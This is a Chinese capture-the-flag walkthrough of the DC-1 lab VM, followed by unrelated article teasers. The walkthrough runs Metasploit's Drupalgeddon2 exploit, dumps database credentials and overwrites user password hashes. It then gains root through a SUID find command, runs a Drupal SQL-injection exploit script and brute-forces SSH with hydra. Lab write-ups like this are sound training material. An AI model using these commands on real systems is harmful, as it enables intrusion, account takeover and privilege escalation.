DC-1靶场

news/2025/2/11 16:00:45/

一.环境搭建

下载地址

http://www.five86.com/downloads/DC-1.zip

把桥接设置为nat模式,打开靶机的时候会提示几个错误,点击重试即可

启动靶机,如下图所示即可

二.开始打靶 

1.信息收集

arp-scan -l

扫描跟kali(攻击机) 同一网段开了哪些ip,也就是发现靶机ip

我的攻击机ip为192.168.111.128,靶机ip为192.168.111.129

用nmap扫一下靶机开放的端口

nmap 192.168.111.129 -p1-65535 

 开放了22/80/111/60677

我们先访问一下80端口,看一下是什么

也可以用以下工具得知是drupal cms

whatweb -v 192.168.111.129

根据以上操作,我们可以搜集到如下信息

端口号22/80/111/60677

drupal cms 7

PHP 5.4.45

Apache 2.2.22

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

一搜发现这么多漏洞,进msf搜一下drupal,直接百度也行,一般这种nday都有大佬发教程

 

 2.漏洞探测与利用

打开msf,搜索drupal

msfconsolesearch drupal

 选择exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

查看需要配置的内容

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set

set rhosts 192.168.111.129
run

进行运行

 3.getshell

得到shell,输入shell

shell

弄一个交互式的shell,用python起一个(必须靶机安装了python环境才行)

python -c 'import pty; pty.spawn("/bin/bash")'

 

查看flag1.txt,发现提示,每个好的cms都需要一个配置文件,你也一样

4.数据库渗透

开始找配置文件

cat `find / -name settings.php`

我们获取到了他的数据库账号密码和flag2

 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
暴力破解和目录攻击不是唯一获取权限的方法(你需要权限),你能用这些凭证做些什么呢

使用配置文件中的数据库账号密码进行登录 

查看有哪些库

show databases;

使用drupaldb库并且查看表

use drupaldb;show tables;

下面有一个users表,进入这个表进行查看

select * from users;
select * from users\G;

 也可以使用下面这条命令,/G 的作用是将查到的结构旋转90度变成纵向(我没试)

获得两个用户

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |  

 看这么复杂,而且在配置文件中找到slat也很长,撞库基本上不可能实现,所以用替换密码的方式获得用户登录权限,将一个已知的密码通过cms的算法加密后生成的hash,替换掉已存在用户的密码hash,就算是修改密码了

忘记Drupal的管理员密码的解决办法

方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。

方法二:这是drupal提供的最原生的方法

在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

php scripts/password-hash.sh admin

输出:

password: admin                 hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA

然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

 durpal的加密脚本存在此地址

/var/www/scripts/password-hash.sh

先退出mysql界面

exit;

 打开加密脚本,查看里面的内容

cat /var/www/scripts/password-hash.sh

 脚本是php代码,要求我们输入一个密码,它会返回一个加密后的hash

用php运行这个脚本,输出123456的hash 

php /var/www/scripts/password-hash.sh 123456

password: 123456 		hash: $S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu

登录到mysql后,将这个hash替换到admin账户的密码

mysql -udbuser -pR0ck3tuse drupaldb;update users set pass = "$S$D6lKdUrtIIj7LMx0NlWfLPBXhPSQU4VoKdw84FPYSR84FLj9XgRu" where name = 'admin' or name = 'Fred';

 

 进入界面,输入账号密码admin/123456

点击这个content,会有一个flag3 

点击这个flag3,会给你提示 

 特殊权限会帮助你找到密码,但是你需要-exec(执行)命令去确定如何获得这个shadow(菜鸡翻译,敬请见谅)

 根据提示,我们输出一下passwd的内容

cat /etc/passwd

我们可以看到有一个flag4在这

切换到flag4的/home/flag4目录 ,查看有什么文件

cd /home/flag4
ls

你能用同样的方法去找到或者访问在root的flag吗

大概。 但是也许这并不容易。 也许是?

5.提权

现在要开始提升权限了

利用suid提权,查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

看到有find,直接用find提权

find / -exec "/bin/bash" -p \;
cd /root
ls

 

获取到root权限后,直接cd 到/root目录,看到最终的flag

cat thefinalflag.txt

 

 这个靶机还是非常简单的,按照其他大佬的wp打下来十分顺畅

三.其他方法

为什么这么写,是因为我想有个流畅的打靶体验,先通关再说

1.在数据库渗透的过程中,通过sql注入漏洞创建用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

 

searchsploit 34992.py -p

 

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py

 这个软件给出了usage,可以进行尝试

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.111.129 -u test -p 123456

进入界面用test/123456进行登录,登录成功 

2.在查看flag4的时候可以不用提权,爆破flag4用户的ssh密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.129

 爆破到flag4的ssh密码为orange,进行连接,查看文件


http://www.ppmy.cn/news/1391504.html

相关文章

C# 数组

C# 数组 一维数组初始化数组赋值给数组 二维数组初始化二维数组 交错数组交错数组的声明类型和其中的数组类型必须一致。 参数数组Array 类 一维数组 初始化数组 声明一个数组不会在内存中初始化数组。当初始化数组变量时,您可以赋值给数组。 数组是一个引用类型…

无服务器推理在大语言模型中的未来

服务器无服务器推理的未来:大型语言模型 摘要 随着大型语言模型(LLM)如GPT-4和PaLM的进步,自然语言任务的能力得到了显著提升。LLM被广泛应用于聊天机器人、搜索引擎和编程助手等场景。然而,由于LLM对GPU和内存的巨大需求,其在规…

Spring常用设计模式-实战篇之单例模式

实现案例,饿汉式 Double-Check机制 synchronized锁 /*** 以饿汉式为例* 使用Double-Check保证线程安全*/ public class Singleton {// 使用volatile保证多线程同一属性的可见性和指令重排序private static volatile Singleton instance;public static Singleton …

【洛谷 P8687】[蓝桥杯 2019 省 A] 糖果 题解(动态规划+位集合+位运算)

[蓝桥杯 2019 省 A] 糖果 题目描述 糖果店的老板一共有 M M M 种口味的糖果出售。为了方便描述,我们将 M M M 种口味编号 1 1 1 ∼ M M M。 小明希望能品尝到所有口味的糖果。遗憾的是老板并不单独出售糖果,而是 K K K 颗一包整包出售。 幸好糖…

【C++】1600. 请假时间计算

问题:1600. 请假时间计算 类型:基本运算、整数运算 题目描述: 假设小明的妈妈向公司请了 n 天的假,那么请问小明的妈妈总共请了多少小时的假,多少分钟的假?(提示: 1 天有 24 小时&…

HarmonyOS 应用开发案例

本帖下方集中了HarmonyOS Next应用开发时,会遇到的常见应用案例。后续会持续更新大量案例,帮助开发者快速学习。欢迎感兴趣的同学加入Q:454901491 72.手写绘制及保存图片案例(0319更新)(点此查看源码实现&…

【呼市经开区建设服务项目水、电能耗监测 数采案例】

实施方案 针对能耗采集中的水、电能源数据采集,因客观因素条件,数据采集方面存在较大难度。大多数国网电表485接口由于封签限制,不能实施采集,不让拆机接线,采集实施存在困难。水量能耗采集,存在类似问题&a…

Java毕业设计-基于springboot开发的书籍学习平台-毕业论文+答辩PPT(附源代码+演示视频)

文章目录 前言一、毕设成果演示(源代码在文末)二、毕设摘要展示1、开发说明2、需求分析3、系统功能结构 三、系统实现展示1、平台功能模块2、后台功能模块2.1管理员功能模块2.2用户功能模块2.3作者功能模块 四、毕设内容和源代码获取总结 Java毕业设计-基…